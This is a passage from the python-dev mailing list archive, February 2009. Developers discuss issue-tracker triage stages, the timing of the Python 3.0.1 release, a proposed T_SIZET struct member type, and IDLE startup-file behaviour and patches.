	<2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>
Message-ID: <bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>

On Thu, Feb 12, 2009 at 05:08, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:

> Brett Cannon wrote:
> > One thing to keep an eye on for old issues, Daniel, is the Stage
> > field. Setting that is nice for Bug Days as people can see what
> > issues still need a test written or could use a review, etc.
>
> OK, I'll try to set a useful Stage for bugs I edit. I'll reread your
> blog post on stages and study the discussion.
>
> > I have a doc I am writing up at
> > http://docs.google.com/Doc?id=dg7fctr4_51cbt2vktw which outlines
> > what the various Stage values should mean. Feedback from you and
> > anybody else is welcome, although realize it is rough as I was not
> > planning to make this public quite yet.
>
> Looking good, I'll collect doc feedback as I learn Stages better.
>
> Here's some feedback on Stages themselves (still learning, probably
> misguided).
>
> Many old issues have patches without tests, or have patches and tests
> that are outdated. Others have patches (and sometimes tests), but
> aren't confirmed as bugs. So the Stage field would be easier to use if
> it included: 'not reproduced in current releases', 'reproduced, needs
> updating', 'is this really a bug?' (i.e., should I be writing a
> test/confirming or discussing the issue?), 'on hold/blocked' (has a
> blocking dependency).
>

Sounds like a "*verify issue* stage is needed. Although I guess I kind of
assumed as part of the triage issue verification would happen as well, but
that might be too much as a single step.

All the other ones can use the current stages (e.g. a missing test with a
patch is still at a *test needed* stage, it just happens to be able to skip
to review once that test is ready).


>
> I'm not sure those would be useful for new issues, I think handling
> the important cases efficiently is more desirable than tuning the
> workflow for old issues. It's telling that the Stage that caught my
> attention was [triage] :D
>

=)


>
> Thank you for the support and feedback (and Stages guide!), it helps a lot
> :)


Glad it's helpful!

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090212/d430e4fd/attachment-0001.htm>

From barry at python.org  Thu Feb 12 19:40:49 2009
From: barry at python.org (Barry Warsaw)
Date: Thu, 12 Feb 2009 13:40:49 -0500
Subject: [Python-Dev] 3.0.1 and 2.6.2
In-Reply-To: <4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com>
References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com>
	<loom.20090212T181835-211@post.gmane.org>
	<4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com>
Message-ID: <5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 12, 2009, at 1:29 PM, Jesse Noller wrote:

> On Thu, Feb 12, 2009 at 1:20 PM, Antoine Pitrou  
> <solipsis at pitrou.net> wrote:
>> Jesse Noller <jnoller <at> gmail.com> writes:
>>>
>>> I'm afraid I've gone branch-stupid. I have a a few changes that  
>>> should
>>> be on the boat for the next release, but I can't for the life of me
>>> remember which branch to push to - right now the changes are on  
>>> trunk
>>> and py3k.
>>
>> The next release (3.0.1) is tomorrow. Unless those changes are  
>> really important,
>> I humbly advocate deferring them to after tomorrow, for fear that  
>> they introduce
>> last-minute breakage.
>>
>> (the branch names are release26-maint and release30-maint, if  
>> that's what you're
>> asking :-))
>>
>
> The changes have been stable since checked in, I have no problems
> holding off, but they're also not big. Doc changes, fixes to the
> logger and a segfault fix mainly. I have no problem holding off.

The documentation change is probably safe.  Given that I'm tagging  
3.0.1 in about 4.5 hours, please be very conservative with any other  
changes.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZRtMnEjvBPtnXfVAQKIMAP+MgyP05QgaRJ52+oonlusZVDEGilrJPN8
7HZxT8Mh/zuYUXiizcZqYxYErj+GNfiM9vIBegLrPz9L+DvZfKCvNiOHcKFzdNxU
b01XBYi82gylsZ9Xeou2CKZrppquyP/Ug+1GIMsrScCyE0YSz9Jk1E/YIZ8wsJd0
AiDGuFOYmjI=
=fRRY
-----END PGP SIGNATURE-----

From jnoller at gmail.com  Thu Feb 12 19:43:09 2009
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 12 Feb 2009 13:43:09 -0500
Subject: [Python-Dev] 3.0.1 and 2.6.2
In-Reply-To: <5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org>
References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com>
	<loom.20090212T181835-211@post.gmane.org>
	<4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com>
	<5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org>
Message-ID: <4222a8490902121043u5f613304g8b4fd6af3ee654a3@mail.gmail.com>

On Thu, Feb 12, 2009 at 1:40 PM, Barry Warsaw <barry at python.org> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Feb 12, 2009, at 1:29 PM, Jesse Noller wrote:
>
>> On Thu, Feb 12, 2009 at 1:20 PM, Antoine Pitrou <solipsis at pitrou.net>
>> wrote:
>>>
>>> Jesse Noller <jnoller <at> gmail.com> writes:
>>>>
>>>> I'm afraid I've gone branch-stupid. I have a a few changes that should
>>>> be on the boat for the next release, but I can't for the life of me
>>>> remember which branch to push to - right now the changes are on trunk
>>>> and py3k.
>>>
>>> The next release (3.0.1) is tomorrow. Unless those changes are really
>>> important,
>>> I humbly advocate deferring them to after tomorrow, for fear that they
>>> introduce
>>> last-minute breakage.
>>>
>>> (the branch names are release26-maint and release30-maint, if that's what
>>> you're
>>> asking :-))
>>>
>>
>> The changes have been stable since checked in, I have no problems
>> holding off, but they're also not big. Doc changes, fixes to the
>> logger and a segfault fix mainly. I have no problem holding off.
>
> The documentation change is probably safe.  Given that I'm tagging 3.0.1 in
> about 4.5 hours, please be very conservative with any other changes.
>
> Barry
>

I'm going to hold off. But now I know, and knowing is half the battle.

From brett at python.org  Thu Feb 12 19:44:50 2009
From: brett at python.org (Brett Cannon)
Date: Thu, 12 Feb 2009 10:44:50 -0800
Subject: [Python-Dev] 3.0.1 and 2.6.2
In-Reply-To: <5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org>
References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com>
	<loom.20090212T181835-211@post.gmane.org>
	<4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com>
	<5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org>
Message-ID: <bbaeab100902121044l6817fcacufb5799343e2c980e@mail.gmail.com>

On Thu, Feb 12, 2009 at 10:40, Barry Warsaw <barry at python.org> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Feb 12, 2009, at 1:29 PM, Jesse Noller wrote:
>
>  On Thu, Feb 12, 2009 at 1:20 PM, Antoine Pitrou <solipsis at pitrou.net>
>> wrote:
>>
>>> Jesse Noller <jnoller <at> gmail.com> writes:
>>>
>>>>
>>>> I'm afraid I've gone branch-stupid. I have a a few changes that should
>>>> be on the boat for the next release, but I can't for the life of me
>>>> remember which branch to push to - right now the changes are on trunk
>>>> and py3k.
>>>>
>>>
>>> The next release (3.0.1) is tomorrow. Unless those changes are really
>>> important,
>>> I humbly advocate deferring them to after tomorrow, for fear that they
>>> introduce
>>> last-minute breakage.
>>>
>>> (the branch names are release26-maint and release30-maint, if that's what
>>> you're
>>> asking :-))
>>>
>>>
>> The changes have been stable since checked in, I have no problems
>> holding off, but they're also not big. Doc changes, fixes to the
>> logger and a segfault fix mainly. I have no problem holding off.
>>
>
> The documentation change is probably safe.  Given that I'm tagging 3.0.1 in
> about 4.5 hours, please be very conservative with any other changes.
>

What about the segfault problem? Shouldn't that get in?

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090212/ad037d8e/attachment.htm>

From martin at v.loewis.de  Thu Feb 12 19:50:09 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 12 Feb 2009 19:50:09 +0100
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	<200902120954.53578.victor.stinner@haypocalc.com>	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>	<200902121434.17723.victor.stinner@haypocalc.com>
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
Message-ID: <49946F61.6020803@v.loewis.de>

>> Oh, I realized that there is a component called "Unicode". So it should be
>> possible to write a request to list all issues related to unicode.
> 
> Nice, I'll add set this component for issues that don't have it. I can
> still add people to these issues, if they want.

We can also add more components if this would support your triage.

As a necessary condition, I'd ask that there would be a "significant"
number of issues classified under such a new component.

Regards,
Martin

From barry at python.org  Thu Feb 12 19:57:18 2009
From: barry at python.org (Barry Warsaw)
Date: Thu, 12 Feb 2009 13:57:18 -0500
Subject: [Python-Dev] 3.0.1 and 2.6.2
In-Reply-To: <bbaeab100902121044l6817fcacufb5799343e2c980e@mail.gmail.com>
References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com>
	<loom.20090212T181835-211@post.gmane.org>
	<4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com>
	<5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org>
	<bbaeab100902121044l6817fcacufb5799343e2c980e@mail.gmail.com>
Message-ID: <961429A5-6C4B-427F-B565-DD46E9ADA9E5@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 12, 2009, at 1:44 PM, Brett Cannon wrote:

> What about the segfault problem? Shouldn't that get in?

If it can be done without a regression, yes.  Do it now and that will  
give the buildbots time to run.  If they go red, we'll back it out.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZRxDnEjvBPtnXfVAQLJCQP/d+BUqjwxHDyK0Dv8i7TlgoYfjHCgCu/M
zQVrMihB3lyoem7os2VdGubButLwOoMP69uU9Rieo62Fag1bxF6ME2HJC6dgJ3ge
xUwRD+01hCkkWNeONdYN/cANjkezE7i4O9z7YyGVJuktO3ZbdY/vjYbY/HE2ZrGK
+wguhd06tA0=
=c6q3
-----END PGP SIGNATURE-----

From jnoller at gmail.com  Thu Feb 12 20:40:48 2009
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 12 Feb 2009 14:40:48 -0500
Subject: [Python-Dev] 3.0.1 and 2.6.2
In-Reply-To: <961429A5-6C4B-427F-B565-DD46E9ADA9E5@python.org>
References: <4222a8490902121013x438fae0fud900dca53c4abae4@mail.gmail.com>
	<loom.20090212T181835-211@post.gmane.org>
	<4222a8490902121029l4088bef0k6052c45402d3c8f1@mail.gmail.com>
	<5E8796A7-C3B0-4704-AB16-D14DD8ABA7F6@python.org>
	<bbaeab100902121044l6817fcacufb5799343e2c980e@mail.gmail.com>
	<961429A5-6C4B-427F-B565-DD46E9ADA9E5@python.org>
Message-ID: <4222a8490902121140n3cd927f6y1bb47799754c2fbf@mail.gmail.com>

On Thu, Feb 12, 2009 at 1:57 PM, Barry Warsaw <barry at python.org> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Feb 12, 2009, at 1:44 PM, Brett Cannon wrote:
>
>> What about the segfault problem? Shouldn't that get in?
>
> If it can be done without a regression, yes.  Do it now and that will give
> the buildbots time to run.  If they go red, we'll back it out.
>
> Barry
>

I am waiting for the tests to complete, and then I will check in the merge.

From dalcinl at gmail.com  Thu Feb 12 21:42:15 2009
From: dalcinl at gmail.com (Lisandro Dalcin)
Date: Thu, 12 Feb 2009 18:42:15 -0200
Subject: [Python-Dev] Adding T_SIZET to structmember.h
Message-ID: <e7ba66e40902121242x2180b51drcb7de29b00a5548a@mail.gmail.com>

After a rather long hacking on Cython in order to support 'Py_ssize_t'
and 'size_t' the right way, I would like to propose the inclusion of a
new T_SIZET in structmember.h in order to suport 'size_t' struct
fields with PyMemberDef. Would such addition be accepted for 2.7 and
3.1?



-- 
Lisandro Dalc?n
---------------
Centro Internacional de M?todos Computacionales en Ingenier?a (CIMEC)
Instituto de Desarrollo Tecnol?gico para la Industria Qu?mica (INTEC)
Consejo Nacional de Investigaciones Cient?ficas y T?cnicas (CONICET)
PTLC - G?emes 3450, (3000) Santa Fe, Argentina
Tel/Fax: +54-(0)342-451.1594

From MLMLists at Comcast.net  Thu Feb 12 23:34:09 2009
From: MLMLists at Comcast.net (Mitchell L Model)
Date: Thu, 12 Feb 2009 17:34:09 -0500
Subject: [Python-Dev] .Idle.py init file
Message-ID: <p06240806c5ba5372397f@[10.0.1.221]>

I was trying to disentangle some IDLE behavior today and discovered 
that If the user has a .Idle.py file IDLE will run it when it starts 
up. This is independent of running IDLESTARTUP or PYTHONSTARTUP when 
the -s switch is given. It is run by Tk.readprofile as called from 
Tk.__init__. The "Idle" comes from the name passed to TK() when 
PyShell.py creates its Tk root. In fact, not only is it independent, 
but it works differently: any imports done in .Idle.py go into Tk's 
name space, whereas IDLESTARTUP/PYTHONSTARTUP is exec'd and imports 
go into the interpreter's namespace.

I don't think this behavior is documented anywhere, although since I 
had a .Idle.py file I must have seen something about this somewhere 
at some point. It's very hard to search for ".Idle.py" when "idle.py" 
is a file whose name appears frequently in discussions.

Is this something that I should submit as an Issue or is it widely 
known behavior? It should at least be documented.

From MLMLists at Comcast.net  Thu Feb 12 23:36:06 2009
From: MLMLists at Comcast.net (Mitchell L Model)
Date: Thu, 12 Feb 2009 17:36:06 -0500
Subject: [Python-Dev] patch to make IDLE load IDLESTARTUP/PYTHONSTARTUP on
	restart
Message-ID: <p06240805c5ba3d6b0fd0@[10.0.1.221]>

I have submitted patches to idlelib/PyShell.py for Python 2.7 (Issue 
5233) and 3.1 (5234), made against local repository copies as updated 
an hour ago. The purpose of the patch is to have IDLE load 
IDLESTARTUP or PYTHONSTARTUP on restart.

Along the way I also made -s the default so IDLESTARTUP or 
PYTHONSTARTUP gets loaded when IDLE is started by double-clicking 
rather than from the command line (no reasonable way for the user to 
get the -s switch into IDLE.app on the Mac). I decided that on 
restart IDLE should load the file that was loaded when it started in 
the first place, on the off chance that something had changed in the 
interim.

I changed the meaning of the -s switch to take an argument that is an 
alternate startup file to load instead of IDLESTARTUP or 
PYTHONSTARTUP. It might be better, though, to leave -s as it is and 
mark it deprecated or obsolete or the default or whatever and use a 
different letter to specify a load file.

I added a switch -q to suppress loading of the startup file.


From ajaksu at gmail.com  Fri Feb 13 00:51:55 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Thu, 12 Feb 2009 21:51:55 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
	<2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>
	<bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>
Message-ID: <2d75d7660902121551w1604a17bgd428824b6c1b4aa1@mail.gmail.com>

Brett Cannon wrote:
> Sounds like a "*verify issue* stage is needed. Although I guess I kind of
> assumed as part of the triage issue verification would happen as well, but
> that might be too much as a single step.

I'd rather think about it a bit more, available stages cover the vast
majority of the issues. When more people have spent spend some time
setting and querying stages, new ones will be proposed to fill
eventual gaps.

> All the other ones can use the current stages (e.g. a missing test with
> a patch is still at a *test needed* stage, it just happens to be able to
> skip to review once that test is ready).

Yes, it makes a lot of sense. These milestones will help getting
things done, anything more fine-grained should have a good,
well-thougth use case (tracker-discuss is efficient for this).

I have a couple of ideas for the work I'm doing, but they mostly
revolve around client-side optimizations. Something like a DVCS flavor
to triaging :)

Daniel

From ajaksu at gmail.com  Fri Feb 13 01:25:18 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Thu, 12 Feb 2009 22:25:18 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <49946F61.6020803@v.loewis.de>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<200902120954.53578.victor.stinner@haypocalc.com>
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>
	<200902121434.17723.victor.stinner@haypocalc.com>
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
	<49946F61.6020803@v.loewis.de>
Message-ID: <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>

Martin v. L?wis wrote:
>>> Oh, I realized that there is a component called "Unicode". So it should be
>>> possible to write a request to list all issues related to unicode.
>>
>> Nice, I'll add set this component for issues that don't have it. I can
>> still add people to these issues, if they want.
>
> We can also add more components if this would support your triage.
>
> As a necessary condition, I'd ask that there would be a "significant"
> number of issues classified under such a new component.

Thanks, Martin. I don't have any request for new components so far,
but would be happy to set new ones that might be created from other
people's suggestions. I think some statistics could help us.

I have a couple of suggestions regarding the UI, I should submit
issues and patches to the meta-tracker sometime next week (got a
python-dev instance running here, but haven't even looked at it).
Mostly things like checkboxes for components, 'no version' being
displayed, easier searches for missing/nothing (-1, right?), and a
'search in all issues' button for logged in users.

Now, getting into pie-in-the-sky territory, if someone (not logged in)
 was to download all issues for scrapping and feeding to a local
database, what time of day would be less disastrous for the server? :)

Regards,
Daniel

From stephen at xemacs.org  Fri Feb 13 01:22:56 2009
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Fri, 13 Feb 2009 09:22:56 +0900
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
	<2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>
	<bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>
Message-ID: <87zlgrrxr3.fsf@xemacs.org>

Brett Cannon writes:

 > Sounds like a "*verify issue* stage is needed. Although I guess I kind of
 > assumed as part of the triage issue verification would happen as well, but
 > that might be too much as a single step.

Are you confusing "reproduce" with "verify"?  Remember, one of the
three classes for triage is "not a problem we need to deal with".
Reproduction really is the same thing as providing a test.

 > All the other ones can use the current stages (e.g. a missing test with a
 > patch is still at a *test needed* stage, it just happens to be able to skip
 > to review once that test is ready).

What I did with XEmacs's tracker (which has borrowed a lot from
Python's, thank you all *very* much!) is to have an "in progress"
stage, with "needs test|patch|doc" and "has test|patch|doc"
*keywords*.  The difference in semantics is that "needs" is a judgment
by the supervising reviewer, and the change (in theory) shouldn't be
committed until all "needs" are satisfied, while "has" is what the
contributor submitted.  So they are independent, and you could even
have both "has patch" and "needs patch" present if the current patch
isn't good enough.

This is too complex to expect people to execute, even IMO, but maybe
there's the germ of an idea there?  For example you could tell
contributors that if the "has patch" flag isn't set, the patch won't
get noticed by anybody.

From brett at python.org  Fri Feb 13 01:43:22 2009
From: brett at python.org (Brett Cannon)
Date: Thu, 12 Feb 2009 16:43:22 -0800
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <87zlgrrxr3.fsf@xemacs.org>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
	<2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>
	<bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>
	<87zlgrrxr3.fsf@xemacs.org>
Message-ID: <bbaeab100902121643l5626605dta4152b69f53230a5@mail.gmail.com>

On Thu, Feb 12, 2009 at 16:22, Stephen J. Turnbull <stephen at xemacs.org>wrote:

> Brett Cannon writes:
>
>  > Sounds like a "*verify issue* stage is needed. Although I guess I kind
> of
>  > assumed as part of the triage issue verification would happen as well,
> but
>  > that might be too much as a single step.
>
> Are you confusing "reproduce" with "verify"?  Remember, one of the
> three classes for triage is "not a problem we need to deal with".
> Reproduction really is the same thing as providing a test.
>

I was aiming toward Daniel's issue of whether the bug could be reproduced
and thus verified as an issue when it is an old issue. But hopefully that
won't happen too often so adding a new stage is probably a bit much.


>
>  > All the other ones can use the current stages (e.g. a missing test with
> a
>  > patch is still at a *test needed* stage, it just happens to be able to
> skip
>  > to review once that test is ready).
>
> What I did with XEmacs's tracker (which has borrowed a lot from
> Python's, thank you all *very* much!) is to have an "in progress"
> stage, with "needs test|patch|doc" and "has test|patch|doc"
> *keywords*.  The difference in semantics is that "needs" is a judgment
> by the supervising reviewer, and the change (in theory) shouldn't be
> committed until all "needs" are satisfied, while "has" is what the
> contributor submitted.  So they are independent, and you could even
> have both "has patch" and "needs patch" present if the current patch
> isn't good enough.
>
> This is too complex to expect people to execute, even IMO, but maybe
> there's the germ of an idea there?  For example you could tell
> contributors that if the "has patch" flag isn't set, the patch won't
> get noticed by anybody.
>

It's a question of whether we can stay on top of updating issues or not. If
we can actually stay on the ball and update the status of issues then having
the OP update something shouldn't be needed as that is too easy of an
oversight for a casual contributor; minimizing the burden on contributions
by making the issue workflow easy for the contributor and efficient for us
is the top priority, but I think it is reasonable for us to do a little bit
more to make it easier on others.

And while you are right that the test/patch/doc stages can be view more in a
parallel fashion than the linear one the stage drop-down provides,
specifying the easiest of what is needed should help get more people
involved. Plus they are in the order things should be done in the ideal
situation.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090212/4cbdd754/attachment-0001.htm>

From ajaksu at gmail.com  Fri Feb 13 01:45:09 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Thu, 12 Feb 2009 22:45:09 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <87zlgrrxr3.fsf@xemacs.org>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
	<2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>
	<bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>
	<87zlgrrxr3.fsf@xemacs.org>
Message-ID: <2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com>

Stephen J. Turnbull wrote:
> Reproduction really is the same thing as providing a test.

That was where I got confused: many issues are easy to reproduce
('test'), but need some thinking to get automated tests right.

urllib always feels like this to me, except 'thinking' -> 'getting
lost over and over'. Reading 'test needed' as 'automated test needed',
things make a lot of sense. I have to test my patch against a good
representation of the issue, regression tests must pass, 'automated
test needed' fits well :)

Daniel

From brett at python.org  Fri Feb 13 01:59:21 2009
From: brett at python.org (Brett Cannon)
Date: Thu, 12 Feb 2009 16:59:21 -0800
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>
	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>
	<2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>
	<bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>
	<87zlgrrxr3.fsf@xemacs.org>
	<2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com>
Message-ID: <bbaeab100902121659v2c7e0880k21f8dcb7e2561bdf@mail.gmail.com>

On Thu, Feb 12, 2009 at 16:45, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:

> Stephen J. Turnbull wrote:
> > Reproduction really is the same thing as providing a test.
>
> That was where I got confused: many issues are easy to reproduce
> ('test'), but need some thinking to get automated tests right.
>
> urllib always feels like this to me, except 'thinking' -> 'getting
> lost over and over'. Reading 'test needed' as 'automated test needed',
> things make a lot of sense. I have to test my patch against a good
> representation of the issue, regression tests must pass, 'automated
> test needed' fits well :)
>

Go with "Unit test needed" so it's short and to the point and you have a
deal. =)

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090212/ec366850/attachment.htm>

From steve at holdenweb.com  Fri Feb 13 06:01:51 2009
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 13 Feb 2009 00:01:51 -0500
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <bbaeab100902121659v2c7e0880k21f8dcb7e2561bdf@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	<2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com>	<bbaeab100902111607v74486653gabf1676df5ae195@mail.gmail.com>	<2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com>	<bbaeab100902121031w7a248e5fne4ba3d30d8950413@mail.gmail.com>	<87zlgrrxr3.fsf@xemacs.org>	<2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com>
	<bbaeab100902121659v2c7e0880k21f8dcb7e2561bdf@mail.gmail.com>
Message-ID: <4994FEBF.3040700@holdenweb.com>

Brett Cannon wrote:
> 
> 
> On Thu, Feb 12, 2009 at 16:45, Daniel (ajax) Diniz <ajaksu at gmail.com
> <mailto:ajaksu at gmail.com>> wrote:
> 
>     Stephen J. Turnbull wrote:
>     > Reproduction really is the same thing as providing a test.
> 
>     That was where I got confused: many issues are easy to reproduce
>     ('test'), but need some thinking to get automated tests right.
> 
>     urllib always feels like this to me, except 'thinking' -> 'getting
>     lost over and over'. Reading 'test needed' as 'automated test needed',
>     things make a lot of sense. I have to test my patch against a good
>     representation of the issue, regression tests must pass, 'automated
>     test needed' fits well :)
> 
> 
> Go with "Unit test needed" so it's short and to the point and you have a
> deal. =)
> 
Can I just say (without in any way wanting to get involved in what might
be considered as "work") that it's encouraging the tracker received a
bit more TLC we might eventually be able to see at least the occasional
week where the issue count increment was negative :)

So thanks to everyone who's taking the time to deal with this
low-profile not-very-glamorous issue. I, for one, appreciate it.

regards
 Steve

-- 
Steve Holden        +1 571 484 6266   +1 800 494 3119
Holden Web LLC              http://www.holdenweb.com/


From martin at v.loewis.de  Fri Feb 13 06:49:46 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Fri, 13 Feb 2009 06:49:46 +0100
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>	
	<200902120954.53578.victor.stinner@haypocalc.com>	
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>	
	<200902121434.17723.victor.stinner@haypocalc.com>	
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>	
	<49946F61.6020803@v.loewis.de>
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>
Message-ID: <499509FA.5030607@v.loewis.de>

> Now, getting into pie-in-the-sky territory, if someone (not logged in)
>  was to download all issues for scrapping and feeding to a local
> database, what time of day would be less disastrous for the server? :)

I think HTML scraping is a really bad idea. What is it that you
specifically want to do with these data?

Regards,
Martin

From ajaksu at gmail.com  Fri Feb 13 07:23:40 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Fri, 13 Feb 2009 04:23:40 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <499509FA.5030607@v.loewis.de>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<200902120954.53578.victor.stinner@haypocalc.com>
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>
	<200902121434.17723.victor.stinner@haypocalc.com>
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
	<49946F61.6020803@v.loewis.de>
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>
	<499509FA.5030607@v.loewis.de>
Message-ID: <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>

"Martin v. L?wis" wrote:
>> Now, getting into pie-in-the-sky territory, if someone (not logged in)
>>  was to download all issues for scrapping and feeding to a local
>> database, what time of day would be less disastrous for the server? :)
>
> I think HTML scraping is a really bad idea. What is it that you
> specifically want to do with these data?

For starters, free form searches, aggregation and filtering of
results. The web interface is pretty good for handling individual
issues, but not so good for adding someone as nosy to lots of issues.

With some more time and effort, I'd be able to:
Organize a local workflow with tweaked UI

From ajaksu at gmail.com  Fri Feb 13 07:34:35 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Fri, 13 Feb 2009 04:34:35 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<200902120954.53578.victor.stinner@haypocalc.com>
	<2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com>
	<200902121434.17723.victor.stinner@haypocalc.com>
	<2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com>
	<49946F61.6020803@v.loewis.de>
	<2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com>
	<499509FA.5030607@v.loewis.de>
